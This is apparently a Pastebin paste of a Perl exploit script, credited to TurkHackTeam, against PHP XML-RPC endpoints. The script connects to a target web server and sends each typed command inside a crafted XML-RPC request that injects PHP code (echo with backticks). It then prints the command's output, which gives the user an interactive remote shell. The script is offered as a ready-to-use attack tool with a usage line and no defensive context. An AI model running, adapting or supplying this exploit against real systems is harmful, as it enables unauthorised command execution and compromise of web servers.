Advertisement
Guest User

Untitled

a guest
Sep 16th, 2015
284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3.  
  4. print "XMLRPC remote commands execute exploit by TurkHackTeam.Org Kaan (http://www.turkhackteam.org)\n";
  5.  
  6. if ($ARGV[0] && $ARGV[1])
  7. {
  8. $host = $ARGV[0];
  9. $xml = $ARGV[1];
  10. $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "connecterror\n";
  11. while (1) {
  12. print '['.$host.']# ';
  13. $cmd = <STDIN>;
  14. chop($cmd);
  15. last if ($cmd eq 'exit');
  16. {
  17. $xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_\n';echo `".$cmd."`;echo
  18. '_end_';exit;/*</name></value></param></params></methodCall>";
  19. print $sock "POST ".$xml." HTTP/1.1\n";
  20. print $sock "Host: ".$host."\n";
  21. print $sock "Content-Type: text/xml\n";
  22. print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
  23. $good=0;
  24. while ($ans = <$sock>)
  25. {
  26. last if ($ans =~ /^_end_/);
  27. if ($good == 1) { print "$ans"; }
  28. if ($ans =~ /^_begin_/) { $good = 1; }
  29. }
  30. if ($good==0) {print "Exploit Failed";exit();}
  31. }
  32. }
  33. }
  34. else {
  35. print 'Usage: perl xml.pl target.com /somescript/xmlrpc.php\n';
  36. exit;
  37. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement